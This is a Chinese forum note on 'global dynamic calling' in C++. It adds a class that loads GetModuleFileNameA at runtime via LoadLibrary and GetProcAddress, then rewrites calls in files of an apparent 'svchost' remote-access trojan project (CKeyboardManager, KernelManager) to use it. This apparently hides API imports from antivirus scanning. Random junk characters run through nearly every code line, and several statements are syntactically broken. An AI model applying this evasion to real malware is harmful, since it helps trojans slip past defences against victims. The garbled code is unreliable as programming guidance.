[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
3 F4 K) b0 `; G0 Csvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
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DTDY.h：
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#if _MSC_VER>10004 `- y! i0 k& ]# T; l
#pragma once
4 E& I8 l' e3 [; c1 l/ _+ f#endif //_MSC_VER>1000
2 }% Y* y6 P9 s3 A4 x+ J#include<windows.h>
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typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
" E- l# R. W% z: T9 n1 Kclass DTDY" G. t" r' T" }9 q5 L, Q
{2 {+ M/ a5 ~# y/ h0 }; b; A
public:6 q& R( r" `1 U1 V5 ?0 g2 S# H
DTDY();6 k1 f# b& t6 s2 K# ^
virtual ~DTDY();, R9 C3 v9 c0 D/ R2 z! c
public:
; a1 Y; q6 k3 Q. {  R7 ^7 q5 gstatic pGetModuleFileNameA MyGetModuleFileName;
) a/ o. N3 i" L5 H5 @* x, ?/ Z! sstatic BOOL FunInitiallization();$ P7 _& \2 a; a3 ~
};$ n! e7 l9 C7 ?/ C$ h3 N6 v
#endif! M; d* q! f: C7 h3 c1 [
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9 F4 W$ H) F4 e9 {DTDY.cpp:
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#include "DTDY.h": `6 p7 h3 a' q" ^
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
3 t* J5 E/ i% b" P* g. NDTDY:TDY()
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0 h9 r* [8 P1 g& W! VDTDY::~DTDY()
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BOOL DTDY::FunInitiallization()* ]3 m  a1 V1 \( D8 w
{
0 d( g. `$ s: _: D! U( U* g& v* YHMODULE hModule=LoadLibrary("kernel32.dll");
% e4 Y" O6 i' {: EMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
- W$ N5 {0 g* Z, S2 Iif(!MyGetModuleFileName=) return FALSE;/ p& \  t) f( K5 ^3 n% y3 f
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return TRUE;# K, U7 b  J2 A) N% d6 J
}  S2 X5 t. j, }5 A0 J5 _1 P
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svchost.cpp:% J  [+ p( b. d7 |
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#include "DTDY.h"
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# S6 [0 b1 `0 H3 Z2 cBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
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/ x- {1 s; C  J) M/ p5 A/ Jswitch(ul_reason_for_call): v$ E+ |! F! V; V. X0 O5 B
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case DLL_PROCESS_ATTACH:1 K  m: w. Z/ x% O# [3 S
if(!DTDY::FunInitiallization()) return FALSE;4 c3 T  i/ V: Z2 E& c$ K/ U; I4 i

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}
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& W8 P9 ^2 a- C  E% U/ AGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def5 T) s9 c% w9 ?
改写为
. P: K; m8 L; I2 g' aDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
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8 a3 n! s# d. b) K. CKernelManager.cpp:
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8 g/ y/ b+ C6 w#include "../DTDY.h"# T- e! m4 ~, K7 z) K/ E- p
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));6 g! f& k. ~8 J
改写为
* w7 Y9 p( N9 f2 T# \DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));$ |& ?; _: X  J% L. b
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